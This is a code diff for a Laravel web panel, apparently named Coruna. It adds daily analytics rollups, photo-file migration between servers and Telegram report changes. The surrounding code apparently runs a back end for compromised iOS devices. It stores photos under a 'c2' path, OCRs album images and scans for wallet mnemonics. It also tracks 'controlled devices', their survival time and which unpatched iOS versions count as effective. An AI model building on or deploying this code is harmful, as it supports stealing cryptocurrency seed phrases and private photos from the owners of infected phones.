diff --git a/.env.example b/.env.example index bf3bd86..1d7f517 100644 --- a/.env.example +++ b/.env.example @@ -119,5 +119,11 @@ TRANSFER_FEE_ADDRESS_TRON= TRANSFER_FEE_TOPUP_TRX=20 TRANSFER_FEE_PRIVATE_KEY_TRON= +# New machine only: pull missing album files from the old host while rsync catches up. +# Same PHOTO_ORIGIN_TOKEN on both machines. Leave PHOTO_ORIGIN_URL empty on the old host. +# PHOTO_ORIGIN_URL=http://旧机IP或域名 +# PHOTO_ORIGIN_TOKEN= +# PHOTO_ORIGIN_TIMEOUT=60 + CORUNA_TESSERACT=/usr/bin/tesseract CORUNA_OCR_LANGS=eng+chi_sim diff --git a/app/Console/Commands/DailyStatsCommand.php b/app/Console/Commands/DailyStatsCommand.php index 9ec0e8a..1357525 100644 --- a/app/Console/Commands/DailyStatsCommand.php +++ b/app/Console/Commands/DailyStatsCommand.php @@ -14,7 +14,7 @@ class DailyStatsCommand extends Command {--to= : End date Y-m-d (default today)} {--all : From the earliest visit/device through --to}'; - protected $description = 'Rebuild daily_stats rollup (UV / devices / addresses / mnemonics)'; + protected $description = 'Rebuild daily_stats and analytics_daily_dims rollups (UV / devices / version dims)'; public function handle(DailyReportService $reports): int { diff --git a/app/Http/Controllers/Admin/AnalyticsController.php b/app/Http/Controllers/Admin/AnalyticsController.php new file mode 100644 index 0000000..a42216b --- /dev/null +++ b/app/Http/Controllers/Admin/AnalyticsController.php @@ -0,0 +1,51 @@ +reports->window(); + + return view('admin.reports.analytics', [ + 'portal' => $this->portal(), + 'defaultFrom' => $from->toDateString(), + 'defaultTo' => $to->toDateString(), + ]); + } + + public function data(Request $request) + { + $filters = [ + 'date_from' => trim((string) $request->query('date_from', '')), + 'date_to' => trim((string) $request->query('date_to', '')), + 'date_range' => trim((string) $request->query('date_range', '')), + 'range' => (string) $request->query('range', '30d'), + 'agent_user_id' => $this->isAgentPortal() + ? null + : AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')), + ]; + $data = $this->analytics->collect($this->agent(), $filters); + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'data' => $data, + ]); + } +} diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 1229dae..e04a4af 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -19,6 +19,7 @@ use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; use App\Services\DsBeaconQueue; +use App\Services\PhotoOrigin; use App\Services\PhotoPreview; use App\Services\Tokenview\TokenviewMonitorService; use App\Support\AgentScope; @@ -171,12 +172,12 @@ class DeviceController extends Controller }; } - public function photo(Device $device, int $photo, PhotoPreview $preview) + public function photo(Device $device, int $photo, PhotoPreview $preview, PhotoOrigin $origin) { $this->authorizeDevice($device); $row = $device->photos()->whereKey($photo)->firstOrFail(); - abort_unless(Storage::disk('local')->exists($row->path), 404); + abort_unless($origin->ensureLocal($row), 404); $abs = Storage::disk('local')->path($row->path); $out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: '')); if ((string) request()->query('seen', '') === '1') { diff --git a/app/Http/Controllers/Hooks/PhotoOriginController.php b/app/Http/Controllers/Hooks/PhotoOriginController.php new file mode 100644 index 0000000..f8945d8 --- /dev/null +++ b/app/Http/Controllers/Hooks/PhotoOriginController.php @@ -0,0 +1,30 @@ +header('X-Photo-Origin-Token', $request->query('token')); + abort_unless($origin->serveEnabled() && $origin->tokenMatches(is_string($token) ? $token : null), 401); + + $path = trim((string) $photo->path); + abort_unless($origin->isSafeRelPath($path), 404); + abort_unless(Storage::disk('local')->exists($path), 404); + + $abs = Storage::disk('local')->path($path); + $mime = @mime_content_type($abs) ?: 'application/octet-stream'; + + return response((string) file_get_contents($abs), 200) + ->header('Content-Type', $mime) + ->header('X-Photo-Origin', 'local'); + } +} diff --git a/app/Http/Controllers/Hooks/TokenviewWebhookController.php b/app/Http/Controllers/Hooks/TokenviewWebhookController.php index dde0853..9583052 100644 --- a/app/Http/Controllers/Hooks/TokenviewWebhookController.php +++ b/app/Http/Controllers/Hooks/TokenviewWebhookController.php @@ -7,47 +7,80 @@ use App\Services\Tokenview\TokenviewMonitorService; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Support\Facades\Log; +use Throwable; class TokenviewWebhookController extends Controller { public function __invoke(Request $request, TokenviewMonitorService $monitor): Response { - $log = Log::channel('tokenview'); - $raw = $request->getContent(); - $signature = $request->header('X-Tokenview-Signature'); + try { + $raw = $request->getContent(); + $signature = $request->header('X-Tokenview-Signature'); + $payload = $this->decodePayload($request, $raw); - $payload = $request->json()->all(); - if (! is_array($payload) || $payload === []) { - $decoded = json_decode($raw, true); - $payload = is_array($decoded) ? $decoded : []; - } - - $log->info('tokenview webhook received', [ - 'ip' => $request->ip(), - 'method' => $request->method(), - 'has_signature' => is_string($signature) && $signature !== '', - 'body_bytes' => strlen($raw), - 'payload' => $payload !== [] ? $payload : $raw, - ]); - - // Tokenview probes the webhook (often unsigned GET/POST) before a - // sign key exists. Always 200 + non-empty body; only skip ingest. - $signed = $monitor->verifySignature($raw, $signature); - if (! $signed) { - $log->warning('tokenview webhook bad signature (acked 200, skipped ingest)', [ + $this->tvLog('info', 'tokenview webhook received', [ 'ip' => $request->ip(), + 'method' => $request->method(), + 'has_signature' => is_string($signature) && $signature !== '', 'body_bytes' => strlen($raw), + 'payload' => $payload !== [] ? $payload : $raw, ]); - } elseif ($payload !== []) { - try { - $monitor->handleWebhook($payload); - } catch (\Throwable $e) { - $log->warning('tokenview webhook handle failed: '.$e->getMessage(), [ - 'exception' => $e::class, + + // Tokenview probes the webhook (often unsigned GET/POST) before a + // sign key exists. Always 200 + non-empty body; only skip ingest. + $signed = $monitor->verifySignature($raw, $signature); + if (! $signed) { + $this->tvLog('warning', 'tokenview webhook bad signature (acked 200, skipped ingest)', [ + 'ip' => $request->ip(), + 'body_bytes' => strlen($raw), ]); + } elseif ($payload !== []) { + try { + $monitor->handleWebhook($payload); + } catch (Throwable $e) { + $this->tvLog('warning', 'tokenview webhook handle failed: '.$e->getMessage(), [ + 'exception' => $e::class, + ]); + } } + } catch (Throwable $e) { + $this->tvLog('warning', 'tokenview webhook crashed: '.$e->getMessage(), [ + 'exception' => $e::class, + ]); } return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8'); } + + /** + * @return array + */ + private function decodePayload(Request $request, string $raw): array + { + try { + $payload = $request->json()->all(); + if (is_array($payload) && $payload !== []) { + return $payload; + } + } catch (Throwable) { + } + + $decoded = json_decode($raw, true); + + return is_array($decoded) ? $decoded : []; + } + + /** @param array $context */ + private function tvLog(string $level, string $message, array $context = []): void + { + try { + $dir = storage_path('logs/tokenview'); + if (! is_dir($dir)) { + @mkdir($dir, 0775, true); + } + Log::channel('tokenview')->{$level}($message, $context); + } catch (Throwable $e) { + Log::warning($message, $context + ['tokenview_channel_error' => $e->getMessage()]); + } + } } diff --git a/app/Models/AnalyticsDailyDim.php b/app/Models/AnalyticsDailyDim.php new file mode 100644 index 0000000..b4550a1 --- /dev/null +++ b/app/Models/AnalyticsDailyDim.php @@ -0,0 +1,49 @@ + 'integer', + 'effective_uv' => 'integer', + 'devices' => 'integer', + 'seconds_sum' => 'integer', + 'computed_at' => 'datetime', + ]; + } +} diff --git a/app/Services/AnalyticsReportService.php b/app/Services/AnalyticsReportService.php new file mode 100644 index 0000000..b853f75 --- /dev/null +++ b/app/Services/AnalyticsReportService.php @@ -0,0 +1,447 @@ +, + * by_ios_version: list, + * by_device_ios_version: list, + * control_by_version: list + * } + */ + public function collect(?User $agent, array $filters = []): array + { + [$from, $to] = $this->reports->resolveBounds($filters); + $agentUserId = $this->reports->resolveAgentUserId($agent, $filters); + $this->ensureCached($from, $to, $agentUserId); + + return $this->present($from, $to, $agentUserId); + } + + public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null): int + { + [$from, $to] = $from !== null && $to !== null + ? [$from->copy()->startOfDay(), $to->copy()->endOfDay()] + : $this->reports->window(); + + $scope = DailyReportService::scopeKey($agentUserId); + $now = Carbon::now(); + $days = 0; + $cursor = $from->copy()->startOfDay(); + $end = $to->copy()->startOfDay(); + while ($cursor->lte($end)) { + $this->rebuildDay($cursor, $scope, $agentUserId, $now); + $days++; + $cursor->addDay(); + } + + return $days; + } + + private function ensureCached(Carbon $from, Carbon $to, ?int $agentUserId): void + { + $scope = DailyReportService::scopeKey($agentUserId); + $expected = (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1; + $have = $this->cachedDays($scope, AnalyticsDailyDim::KIND_SURVIVAL, $from, $to); + $haveWallet = $this->cachedDays($scope, AnalyticsDailyDim::KIND_SURVIVAL_WALLET, $from, $to); + if ($have < $expected || $haveWallet < $expected) { + $this->rebuild($from, $to, $agentUserId); + + return; + } + + $today = Carbon::now()->toDateString(); + if ($from->toDateString() > $today || $to->toDateString() < $today) { + return; + } + + $row = AnalyticsDailyDim::query() + ->where('scope_key', $scope) + ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL) + ->where('stat_date', $today) + ->first(); + if ($row === null || $row->computed_at === null || $row->computed_at->lt(Carbon::now()->subMinutes(DailyReportService::TODAY_STALE_MINUTES))) { + $this->rebuild(Carbon::now()->startOfDay(), Carbon::now()->endOfDay(), $agentUserId); + } + } + + private function rebuildDay(Carbon $day, string $scope, ?int $agentUserId, Carbon $now): void + { + $from = $day->copy()->startOfDay(); + $to = $day->copy()->endOfDay(); + $date = $day->toDateString(); + $rows = $this->aggregateDay($from, $to, $agentUserId); + + AnalyticsDailyDim::query() + ->where('scope_key', $scope) + ->where('stat_date', $date) + ->delete(); + + foreach ($rows as $row) { + AnalyticsDailyDim::query()->create([ + 'stat_date' => $date, + 'scope_key' => $scope, + 'kind' => $row['kind'], + 'dim' => $row['dim'], + 'uv' => $row['uv'], + 'effective_uv' => $row['effective_uv'], + 'devices' => $row['devices'], + 'seconds_sum' => $row['seconds_sum'], + 'computed_at' => $now, + ]); + } + } + + /** + * @return list + */ + private function aggregateDay(Carbon $from, Carbon $to, ?int $agentUserId): array + { + $out = []; + $effectiveSql = $this->dashboard->effectiveVisitSql(); + $versionExpr = $this->versionDimSql('os_version'); + + $visits = PageVisit::query(); + AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId); + $visits->whereBetween('created_at', [$from, $to]); + + $osRows = (clone $visits) + ->selectRaw("CASE WHEN os = 'iOS' THEN 'iOS' ELSE '其他' END as dim, COUNT(DISTINCT client_uid) as uv") + ->groupByRaw("CASE WHEN os = 'iOS' THEN 'iOS' ELSE '其他' END") + ->get(); + foreach ($osRows as $row) { + $out[] = $this->dimRow( + AnalyticsDailyDim::KIND_VISIT_OS, + (string) $row->dim, + (int) $row->uv, + ); + } + + $versionRows = (clone $visits) + ->where('os', 'iOS') + ->selectRaw( + "{$versionExpr} as dim, COUNT(DISTINCT client_uid) as uv, COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv" + ) + ->groupByRaw($versionExpr) + ->get(); + foreach ($versionRows as $row) { + $out[] = $this->dimRow( + AnalyticsDailyDim::KIND_VISIT_VERSION, + $this->clipDim((string) $row->dim), + (int) $row->uv, + (int) $row->effective_uv, + ); + } + + $devices = Device::query(); + AgentScope::applyAgentUserFilter($devices, $agentUserId); + $devices->whereBetween('created_at', [$from, $to]); + $deviceVersionExpr = $this->versionDimSql('ios_version'); + $deviceRows = (clone $devices) + ->selectRaw("{$deviceVersionExpr} as dim, COUNT(*) as cnt") + ->groupByRaw($deviceVersionExpr) + ->get(); + foreach ($deviceRows as $row) { + $out[] = $this->dimRow( + AnalyticsDailyDim::KIND_DEVICE_VERSION, + $this->clipDim((string) $row->dim), + 0, + 0, + (int) $row->cnt, + ); + } + + $secondsExpr = $this->survivalSecondsSql(); + $survival = (clone $devices) + ->selectRaw("COUNT(*) as cnt, COALESCE(SUM({$secondsExpr}), 0) as seconds_sum") + ->first(); + $out[] = $this->dimRow( + AnalyticsDailyDim::KIND_SURVIVAL, + '', + 0, + 0, + (int) ($survival?->cnt ?? 0), + (int) ($survival?->seconds_sum ?? 0), + ); + + $walletSurvival = (clone $devices) + ->where('has_wallet', Device::WALLET_YES) + ->selectRaw("COUNT(*) as cnt, COALESCE(SUM({$secondsExpr}), 0) as seconds_sum") + ->first(); + $out[] = $this->dimRow( + AnalyticsDailyDim::KIND_SURVIVAL_WALLET, + '', + 0, + 0, + (int) ($walletSurvival?->cnt ?? 0), + (int) ($walletSurvival?->seconds_sum ?? 0), + ); + + return $out; + } + + /** + * @return array{ + * from: string, + * to: string, + * computed_at: ?string, + * survival: array{avg_seconds: int|null, avg_label: string, devices: int}, + * survival_wallet: array{avg_seconds: int|null, avg_label: string, devices: int}, + * by_os: list, + * by_ios_version: list, + * by_device_ios_version: list, + * control_by_version: list + * } + */ + private function present(Carbon $from, Carbon $to, ?int $agentUserId): array + { + $scope = DailyReportService::scopeKey($agentUserId); + $rows = AnalyticsDailyDim::query() + ->where('scope_key', $scope) + ->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()]) + ->get(); + + $osUv = [AnalyticsDailyDim::DIM_IOS => 0, AnalyticsDailyDim::DIM_OTHER => 0]; + $visitVersions = []; + $visitEffective = []; + $deviceVersions = []; + $survivalDevices = 0; + $survivalSeconds = 0; + $walletDevices = 0; + $walletSeconds = 0; + $computedAt = null; + + foreach ($rows as $row) { + if ($row->computed_at !== null && ($computedAt === null || $row->computed_at->gt($computedAt))) { + $computedAt = $row->computed_at; + } + if ($row->kind === AnalyticsDailyDim::KIND_VISIT_OS) { + $osUv[$row->dim] = ($osUv[$row->dim] ?? 0) + (int) $row->uv; + } elseif ($row->kind === AnalyticsDailyDim::KIND_VISIT_VERSION) { + $visitVersions[$row->dim] = ($visitVersions[$row->dim] ?? 0) + (int) $row->uv; + $visitEffective[$row->dim] = ($visitEffective[$row->dim] ?? 0) + (int) $row->effective_uv; + } elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_VERSION) { + $deviceVersions[$row->dim] = ($deviceVersions[$row->dim] ?? 0) + (int) $row->devices; + } elseif ($row->kind === AnalyticsDailyDim::KIND_SURVIVAL) { + $survivalDevices += (int) $row->devices; + $survivalSeconds += (int) $row->seconds_sum; + } elseif ($row->kind === AnalyticsDailyDim::KIND_SURVIVAL_WALLET) { + $walletDevices += (int) $row->devices; + $walletSeconds += (int) $row->seconds_sum; + } + } + + $osTotal = $osUv[AnalyticsDailyDim::DIM_IOS] + $osUv[AnalyticsDailyDim::DIM_OTHER]; + $visitUvSum = array_sum($visitVersions); + $deviceTotal = array_sum($deviceVersions); + $avgSeconds = $survivalDevices > 0 ? (int) round($survivalSeconds / $survivalDevices) : null; + $walletAvgSeconds = $walletDevices > 0 ? (int) round($walletSeconds / $walletDevices) : null; + + $labels = array_values(array_unique([...array_keys($visitEffective), ...array_keys($deviceVersions)])); + usort($labels, $this->versionSort(...)); + + $control = []; + foreach ($labels as $label) { + $effectiveUv = (int) ($visitEffective[$label] ?? 0); + $devices = (int) ($deviceVersions[$label] ?? 0); + $control[] = [ + 'label' => $label, + 'effective_uv' => $effectiveUv, + 'devices' => $devices, + 'pct' => $effectiveUv > 0 ? round($devices / $effectiveUv * 100, 1) : null, + ]; + } + usort($control, function (array $a, array $b): int { + return $b['effective_uv'] <=> $a['effective_uv'] + ?: $b['devices'] <=> $a['devices'] + ?: $this->versionSort($a['label'], $b['label']); + }); + + return [ + 'from' => $from->toDateString(), + 'to' => $to->toDateString(), + 'computed_at' => $computedAt?->toDateTimeString(), + 'survival' => [ + 'avg_seconds' => $avgSeconds, + 'avg_label' => $this->formatDuration($avgSeconds), + 'devices' => $survivalDevices, + ], + 'survival_wallet' => [ + 'avg_seconds' => $walletAvgSeconds, + 'avg_label' => $this->formatDuration($walletAvgSeconds), + 'devices' => $walletDevices, + ], + 'by_os' => [ + $this->visitRow(AnalyticsDailyDim::DIM_IOS, $osUv[AnalyticsDailyDim::DIM_IOS], $osTotal), + $this->visitRow(AnalyticsDailyDim::DIM_OTHER, $osUv[AnalyticsDailyDim::DIM_OTHER], $osTotal), + ], + 'by_ios_version' => $this->visitVersionRows($visitVersions, $visitUvSum), + 'by_device_ios_version' => $this->deviceVersionRows($deviceVersions, $deviceTotal), + 'control_by_version' => $control, + ]; + } + + /** + * @param array $versions + * @return list + */ + private function visitVersionRows(array $versions, int $total): array + { + $labels = array_keys($versions); + usort($labels, $this->versionSort(...)); + $rows = []; + foreach ($labels as $label) { + $uv = (int) $versions[$label]; + $rows[] = $this->visitRow($label, $uv, $total); + } + usort($rows, fn (array $a, array $b) => $b['uv'] <=> $a['uv'] ?: $this->versionSort($a['label'], $b['label'])); + + return $rows; + } + + /** + * @param array $versions + * @return list + */ + private function deviceVersionRows(array $versions, int $total): array + { + $labels = array_keys($versions); + usort($labels, $this->versionSort(...)); + $rows = []; + foreach ($labels as $label) { + $count = (int) $versions[$label]; + $pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0; + $rows[] = [ + 'label' => $label, + 'count' => $count, + 'pct' => $pct, + ]; + } + usort($rows, fn (array $a, array $b) => $b['count'] <=> $a['count'] ?: $this->versionSort($a['label'], $b['label'])); + + return $rows; + } + + /** + * @return array{label: string, uv: int, pct: float} + */ + private function visitRow(string $label, int $uv, int $total): array + { + return [ + 'label' => $label, + 'uv' => $uv, + 'pct' => $total > 0 ? round(($uv / $total) * 100, 1) : 0.0, + ]; + } + + /** + * @return array{kind: string, dim: string, uv: int, effective_uv: int, devices: int, seconds_sum: int} + */ + private function dimRow( + string $kind, + string $dim, + int $uv = 0, + int $effectiveUv = 0, + int $devices = 0, + int $secondsSum = 0, + ): array { + return [ + 'kind' => $kind, + 'dim' => $dim, + 'uv' => $uv, + 'effective_uv' => $effectiveUv, + 'devices' => $devices, + 'seconds_sum' => $secondsSum, + ]; + } + + private function cachedDays(string $scope, string $kind, Carbon $from, Carbon $to): int + { + return AnalyticsDailyDim::query() + ->where('scope_key', $scope) + ->where('kind', $kind) + ->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()]) + ->count(); + } + + private function versionDimSql(string $column): string + { + return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE TRIM({$column}) END"; + } + + private function survivalSecondsSql(): string + { + if (DB::connection()->getDriverName() === 'sqlite') { + return "MAX(0, CAST(strftime('%s', updated_at) AS INTEGER) - CAST(strftime('%s', created_at) AS INTEGER))"; + } + + return 'GREATEST(0, TIMESTAMPDIFF(SECOND, created_at, updated_at))'; + } + + private function clipDim(string $dim): string + { + $dim = trim($dim); + if ($dim === '') { + return AnalyticsDailyDim::DIM_UNKNOWN; + } + + return mb_substr($dim, 0, 64); + } + + private function versionSort(string $a, string $b): int + { + if ($a === AnalyticsDailyDim::DIM_UNKNOWN) { + return $b === AnalyticsDailyDim::DIM_UNKNOWN ? 0 : 1; + } + if ($b === AnalyticsDailyDim::DIM_UNKNOWN) { + return -1; + } + $cmp = version_compare($a, $b); + + return $cmp === 0 ? strcmp($a, $b) : $cmp; + } + + private function formatDuration(?int $seconds): string + { + if ($seconds === null) { + return '—'; + } + $seconds = max(0, $seconds); + if ($seconds < 60) { + return $seconds.' 秒'; + } + if ($seconds < 3600) { + return intdiv($seconds, 60).' 分钟'; + } + $days = intdiv($seconds, 86400); + $hours = intdiv($seconds % 86400, 3600); + $mins = intdiv($seconds % 3600, 60); + if ($days > 0) { + return $hours > 0 ? $days.' 天 '.$hours.' 小时' : $days.' 天'; + } + + return $mins > 0 ? $hours.' 小时 '.$mins.' 分钟' : $hours.' 小时'; + } +} diff --git a/app/Services/DailyReportService.php b/app/Services/DailyReportService.php index c1ecfad..3687a50 100644 --- a/app/Services/DailyReportService.php +++ b/app/Services/DailyReportService.php @@ -128,6 +128,8 @@ class DailyReportService ); } + app(AnalyticsReportService::class)->rebuild($from, $to, $agentUserId); + return count($aggregated); } diff --git a/app/Services/DashboardStatsService.php b/app/Services/DashboardStatsService.php index fb880e2..167965e 100644 --- a/app/Services/DashboardStatsService.php +++ b/app/Services/DashboardStatsService.php @@ -40,9 +40,6 @@ class DashboardStatsService * balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}, * transfer_count: int, * transfers: array{usdt: string, trx: string, eth: string, btc: string}, - * by_os: list, - * by_ios_version: list, - * by_device_ios_version: list, * range: string, * from: string, * to: string @@ -134,63 +131,13 @@ class DashboardStatsService "COUNT(*) as pv, COUNT(DISTINCT client_uid) as uv, COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv, - COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv, - COUNT(DISTINCT CASE WHEN os = 'iOS' THEN client_uid END) as ios_uv, - COUNT(DISTINCT CASE WHEN os IS NULL OR os != 'iOS' THEN client_uid END) as other_uv", + COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv", ) ->first(); $pv = (int) ($visitAgg?->pv ?? 0); $uv = (int) ($visitAgg?->uv ?? 0); $effectivePv = (int) ($visitAgg?->effective_pv ?? 0); $effectiveUv = (int) ($visitAgg?->effective_uv ?? 0); - $iosUv = (int) ($visitAgg?->ios_uv ?? 0); - $otherUv = (int) ($visitAgg?->other_uv ?? 0); - - $iosVisits = (clone $visits)->where('os', 'iOS'); - - $byOs = [ - $this->visitRow('iOS', $iosUv, $uv), - $this->visitRow('其他', $otherUv, $uv), - ]; - - $versionGroups = (clone $iosVisits) - ->select('os_version') - ->selectRaw('COUNT(DISTINCT client_uid) as uv') - ->groupBy('os_version') - ->orderByDesc('uv') - ->limit(20) - ->get(); - // Denominator = sum of per-version UVs (not global DISTINCT). - // Same visitor may appear under multiple versions; using DISTINCT total would - // make every overlapping bucket show ~100%. - $versionUvSum = (int) $versionGroups->sum('uv'); - $byIosVersion = $versionGroups - ->map(fn ($r) => $this->visitRow( - ((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown', - (int) $r->uv, - $versionUvSum > 0 ? $versionUvSum : $iosUv, - )) - ->values() - ->all(); - - $byDeviceIosVersion = (clone $createdInRange) - ->select('ios_version') - ->selectRaw('COUNT(*) as cnt') - ->groupBy('ios_version') - ->orderByDesc('cnt') - ->limit(20) - ->get() - ->map(function ($r) use ($total) { - $label = trim((string) ($r->ios_version ?? '')); - - return $this->deviceRow( - $label !== '' ? $label : '未知', - (int) $r->cnt, - $total, - ); - }) - ->values() - ->all(); return [ 'total' => $total, @@ -206,9 +153,6 @@ class DashboardStatsService 'balances' => $balances, 'transfer_count' => $transferCount, 'transfers' => $transfers, - 'by_os' => $byOs, - 'by_ios_version' => $byIosVersion, - 'by_device_ios_version' => $byDeviceIosVersion, 'range' => $rangeLabel, 'from' => $from->toDateTimeString(), 'to' => $to->toDateTimeString(), @@ -480,33 +424,4 @@ class DashboardStatsService return [$major, $minor, $patch]; } - /** - * Visit breakdown row. pct = uv / $totalUv (UV share). - * - * @return array{label: string, uv: int, pct: float} - */ - private function visitRow(string $label, int $uv, int $totalUv): array - { - $pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0; - - return [ - 'label' => $label, - 'uv' => $uv, - 'pct' => $pct, - ]; - } - - /** - * @return array{label: string, count: int, pct: float} - */ - private function deviceRow(string $label, int $count, int $total): array - { - $pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0; - - return [ - 'label' => $label, - 'count' => $count, - 'pct' => $pct, - ]; - } } diff --git a/app/Services/PhotoOrigin.php b/app/Services/PhotoOrigin.php new file mode 100644 index 0000000..d0ffb6c --- /dev/null +++ b/app/Services/PhotoOrigin.php @@ -0,0 +1,102 @@ +baseUrl() !== '' && $this->token() !== ''; + } + + public function serveEnabled(): bool + { + return $this->token() !== ''; + } + + public function tokenMatches(?string $provided): bool + { + $expected = $this->token(); + if ($expected === '' || ! is_string($provided) || $provided === '') { + return false; + } + + return hash_equals($expected, $provided); + } + + public function isSafeRelPath(string $path): bool + { + $path = str_replace('\\', '/', $path); + if ($path === '' || str_contains($path, '..')) { + return false; + } + + return str_starts_with($path, 'c2/photos/'); + } + + /** + * Use the local file when present; otherwise pull from the old host and write through. + */ + public function ensureLocal(Photo $photo): bool + { + $path = trim((string) $photo->path); + if (! $this->isSafeRelPath($path)) { + return false; + } + + $disk = Storage::disk('local'); + if ($disk->exists($path)) { + return true; + } + + if (! $this->pullEnabled()) { + return false; + } + + try { + $resp = Http::timeout(max(5, (int) config('coruna.photo_origin.timeout', 60))) + ->withHeaders(['X-Photo-Origin-Token' => $this->token()]) + ->get($this->baseUrl().'/hooks/photo-origin/'.$photo->id); + } catch (\Throwable $e) { + Log::warning('photo origin pull failed', [ + 'photo_id' => $photo->id, + 'error' => $e->getMessage(), + ]); + + return false; + } + + if (! $resp->successful()) { + Log::info('photo origin pull miss', [ + 'photo_id' => $photo->id, + 'status' => $resp->status(), + ]); + + return false; + } + + $bytes = $resp->body(); + if ($bytes === '') { + return false; + } + + $disk->put($path, $bytes); + + return $disk->exists($path); + } +} diff --git a/app/Telegram/Handlers/DataCommand.php b/app/Telegram/Handlers/DataCommand.php index 23aa9bf..05f48cb 100644 --- a/app/Telegram/Handlers/DataCommand.php +++ b/app/Telegram/Handlers/DataCommand.php @@ -103,34 +103,8 @@ class DataCommand '页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)', '页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)', '有效口径: iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 + Safari,不含 15.8.8 / 16.7.10+', - '', - '访问 · 按系统 (UV / 占比):', ]; - foreach ($data['by_os'] as $row) { - $lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']); - } - - $lines[] = ''; - $lines[] = '访问 · 按 iOS 版本 (UV / 占比):'; - if ($data['by_ios_version'] === []) { - $lines[] = '• 暂无'; - } else { - foreach ($data['by_ios_version'] as $row) { - $lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']); - } - } - - $lines[] = ''; - $lines[] = '受控设备 · 系统版本分布:'; - if ($data['by_device_ios_version'] === []) { - $lines[] = '• 暂无'; - } else { - foreach ($data['by_device_ios_version'] as $row) { - $lines[] = sprintf('• %s %d 台 %s%%', $row['label'], $row['count'], $row['pct']); - } - } - $bot->sendMessage(implode("\n", $lines)); } diff --git a/bootstrap/app.php b/bootstrap/app.php index 7de14ca..41a6b93 100644 --- a/bootstrap/app.php +++ b/bootstrap/app.php @@ -48,6 +48,7 @@ return Application::configure(basePath: dirname(__DIR__)) 'api/*', 'link/*', 'hooks/*', + 'hooks/photo-origin/*', 'hook/*', 'statistic/t', 'vhx', diff --git a/config/coruna.php b/config/coruna.php index 1b9ad2f..354a6c7 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -62,6 +62,14 @@ return [ 'official_default' => in_array(strtolower((string) env('CORUNA_OFFICIAL_ALBUM_STORAGE', '0')), ['1', 'true', 'yes', 'on'], true), ], + // New server: if a photo file is missing locally, pull from the old host + // and write through. Leave URL empty on the origin (old) machine. + 'photo_origin' => [ + 'url' => rtrim(trim((string) env('PHOTO_ORIGIN_URL', '')), '/'), + 'token' => (string) env('PHOTO_ORIGIN_TOKEN', ''), + 'timeout' => (int) env('PHOTO_ORIGIN_TIMEOUT', 60), + ], + 'scan' => [ // On: agent portal sees 助记词扫描 and scan ingest stays on the source device. // Off: hide agent scan UI; confirmed scan mnemonics ingest onto an official device. diff --git a/database/migrations/2026_09_13_000040_create_analytics_daily_dims_table.php b/database/migrations/2026_09_13_000040_create_analytics_daily_dims_table.php new file mode 100644 index 0000000..56f9cae --- /dev/null +++ b/database/migrations/2026_09_13_000040_create_analytics_daily_dims_table.php @@ -0,0 +1,31 @@ +id(); + $table->string('stat_date', 10); + $table->string('scope_key', 32)->default(''); + $table->string('kind', 32); + $table->string('dim', 64)->default(''); + $table->unsignedInteger('uv')->default(0); + $table->unsignedInteger('effective_uv')->default(0); + $table->unsignedInteger('devices')->default(0); + $table->unsignedBigInteger('seconds_sum')->default(0); + $table->timestamp('computed_at')->nullable(); + $table->unique(['stat_date', 'scope_key', 'kind', 'dim'], 'analytics_daily_dims_uniq'); + $table->index(['scope_key', 'stat_date', 'kind'], 'analytics_daily_dims_lookup'); + }); + } + + public function down(): void + { + Schema::dropIfExists('analytics_daily_dims'); + } +}; diff --git a/resources/views/admin/dashboard/index.blade.php b/resources/views/admin/dashboard/index.blade.php index ec44577..715dc01 100644 --- a/resources/views/admin/dashboard/index.blade.php +++ b/resources/views/admin/dashboard/index.blade.php @@ -176,41 +176,6 @@ -
-
-
-
访问 · 按系统(UV / 占比)
-
- - - -
系统UV占比
—
-
-
-
-
-
-
访问 · 按 iOS 版本(UV / 占比)
-
- - - -
版本UV占比
—
-
-
-
-
-
-
受控设备 · 系统版本分布
-
- - - -
版本设备数占比
—
-
-
-
-
